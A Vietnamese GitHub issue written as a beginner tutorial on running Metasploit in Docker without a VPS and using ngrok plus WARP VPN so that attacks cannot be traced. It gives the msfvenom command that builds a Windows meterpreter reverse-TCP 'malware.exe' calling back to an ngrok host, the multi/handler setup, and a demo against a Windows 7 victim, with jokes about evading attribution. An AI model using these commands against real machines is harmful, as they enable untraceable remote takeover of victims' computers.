CTF-writeups icon indicating copy to clipboard operation
CTF-writeups copied to clipboard

Sử dụng Metasploit không cần VPS và khai thác ẩn danh với ngrok, warp

Open vinhjaxt opened this issue 3 years ago • 1 comments

Lời nói đầu

Trước hết, mình là newbie, về việc viết writeup, mình mong muốn chia sẻ cho các bạn newbie khác và nhận được những nhận xét, góp ý từ các bạn pro hơn, mời mọi người đọc và nhận xét bài writeup này nhé.

Xuất phát từ thực tế của mọi người trong việc cài đặt và sử dụng metasploit:

  • Èo lại phải cài rvm à, rồi ruby, gem nữa, nặng, rác hết máy :(
  • Native lib của ruby muốn cài lại phải cài thêm gcc, g++ nữa, èo, rác hết máy :(
  • Rồi lại phải cài thêm postgresql nữa, èo rác hết máy, còn config nữa, rắc rối :cry:
  • Hic, cuộc sống vốn dĩ đã mệt mỏi rồi, tha cho t điiiiiiiii
  • Rồi khai thác lại cần có IP public, vps nữa, tiền đâu mua vps đây, trong tủ còn mỗi gói mì hảo hảo chua cay thôi :sob:
  • Nhỡ đi khai thác họ truy ra ip vps, rồi truy ra mình thì sao, sợ cá, huhu :crying_cat_face:
  • ...

Từ những vấn đề đó, sau vài chục năm trời vắt óc suy nghĩ :v, mình đã tìm ra con đường tự cứu bản thân trong trường hợp này. Và dưới đây là bài chia sẻ của mình, để những newbie như mình, dễ dàng hơn, thoát khỏi vòng lao lý :))))))

Step 1: Cài đặt chung

  • docker: Cài đặt khá đơn giản, bạn chạy lệnh curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh && sudo usermod -aG docker $USER && sudo reboot, rồi ngồi chờ máy tính khởi động lại :hamburger: đợi chờ là hạnh phích mà :smiley:.
  • ngrok: Cài đặt cũng đơn giản thôi, tải ngrok về tại https://ngrok.com/download. Rồi đăng ký cho mình 1 tài khoản (dùng email rác thôi :100: ), bạn sẽ nhận được API key.
  • Chạy lệnh ngrok authtoken 5cm6K......yPBbUZY # Đây là API key của bạn

Done step 1 nhé. Để chắc chắn done step 1, khi chạy các lệnh sau, sẽ không có lỗi nào được in ra:

  • docker ps
  • ngrok --version

Step 2: Cài đặt metasploit

Chạy 2 lệnh

docker run -d --name metasploit -p 4444:4444 -v /tmp/metasploit:/tmp/metasploit -it  metasploitframework/metasploit-framework
docker exec -it -u 0 metasploit bash -c 'chown root:root /bin/su && chmod +s /bin/su && echo root:toor | chpasswd'

Giải thích: Lệnh trên sẽ tạo 1 container, lắng nghe cổng 4444 (cổng thường dùng của metasploit), bạn có thể copy ra/vào files của máy host (máy bạn) và container này thông qua thư mục /tmp/metasploit. Đồng thời, ở lệnh thứ 2, mình đã reset root password của metasploit container này thành toor, để bạn dễ dàng nhớ hơn. Vậy là xong, bạn đã sẵn sàng để sử dụng metasploit rồi

Sử dụng metasploit

  • Đầu tiên, bạn kiểm tra xem metasploit container đã chạy chưa: docker ps, nếu thấy metasploit thì là nó đã chạy rồi, nếu chưa, bạn chạy lệnh docker start metasploit
  • Tiếp theo, bạn chạy lệnh docker attach metasploit, màn hình hiện như này là ok nè: image
  • Bây giờ, bạn có thể sử dụng metasploit như bình thường, ngoại trừ việc LHOST của metasploit không đúng, ok, nào cùng fix lại. Đây chính là lúc ngrok vào cuộc chơi.

Để làm rõ hơn vấn đề này, mình sẽ demo sử dụng metasploit để một con malware reverse tcp về máy mình nhé.

Demo

Kịch bản

Có thầy đã nói với mình, demo cái gì thì cũng cần kịch bản, cảm ơn và theo lời thầy :100:, đây là kịch bản:

  • Metasploit container: tạo malware.exe, ẩn danh nhận connect reverse tcp
  • Windows 7: Nạn nhân xấu số, chạy malware.exe

Con đường đi reverse tcp sẽ như sau:

Windows 7 <------ internet ------> Ngrok server <------ internet ------> Metasploit container

Như vậy, Ngrok server được sử dụng như C&C server vậy á, cơ mà ngrok thì ai dùng chả được, nhỉ (đây cũng chính là "ẩn danh" nè)

Step 1: Dùng ngrok tunnel cổng 4444

  • Chạy lệnh: ngrok tcp 4444 image

Step 2: Tạo malware.exe

  • Nếu bạn đang ở trong metasploit container, bạn gõ các lệnh sau:
bash
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11837 -f exe -o /tmp/metasploit/malware.exe
  • Nếu bạn đang ở ngoài máy host, bạn gõ lệnh sau:
docker exec -it metasploit /usr/src/metasploit-framework/msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11837 -f exe -o /tmp/metasploit/malware.exe

Trong đó, LHOST và LPORT mình lấy từ thông tin của ngrok trả về nhé. Bây giờ đây, cả máy host và container đều chứa file /tmp/metasploit/malware.exe, chuyển file này đến Windows 7 thôi.

Step 3: Sử dụng metasploit với multi handler

Bạn chạy lệnh như sau:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run

image

Step 4: Chạy malware.exe ở Windows 7

1Capture Vừa chạy xong là có reverse tcp về luôn: image image image

Vậy là mình đã demo thành công rồi, với cách này, kết hợp sử dụng warp làm vpn, bạn sẽ "ẩn danh" khi khai thác lỗ hổng bằng metasploit, và... ai cần vps đâu ;)

Lời nói cuối

  • Để cho các bạn newbie như mình tìm hiểu thêm, warp vpn (1.1.1.1) với câu lệnh warp-cli connect
  • Mình đang cho metasploit container expose cổng 4444, các bạn có thể sử dụng nhiều cổng hơn, hoặc không expose cũng được, ngrok có thể đưa luôn vào trong container này. Nhưng do mình cài ngrok ở ngoài máy host (để dùng các việc khác nữa), nên mới đưa ra câu lệnh như vậy, các bạn tự tùy biến nhé.
  • Cuối cùng, chúc các bạn một mùa đông không lạnh, giáng sinh vui vẻ cùng gia đình, bạn bè, cùng nhau sống tốt nhé ;)

Các bạn có thể đưa ra comment, hỏi đáp và nhận xét ở dưới đây, cảm ơn các bạn đã theo dõi. :+1:

vinhjaxt avatar Dec 18 '20 09:12 vinhjaxt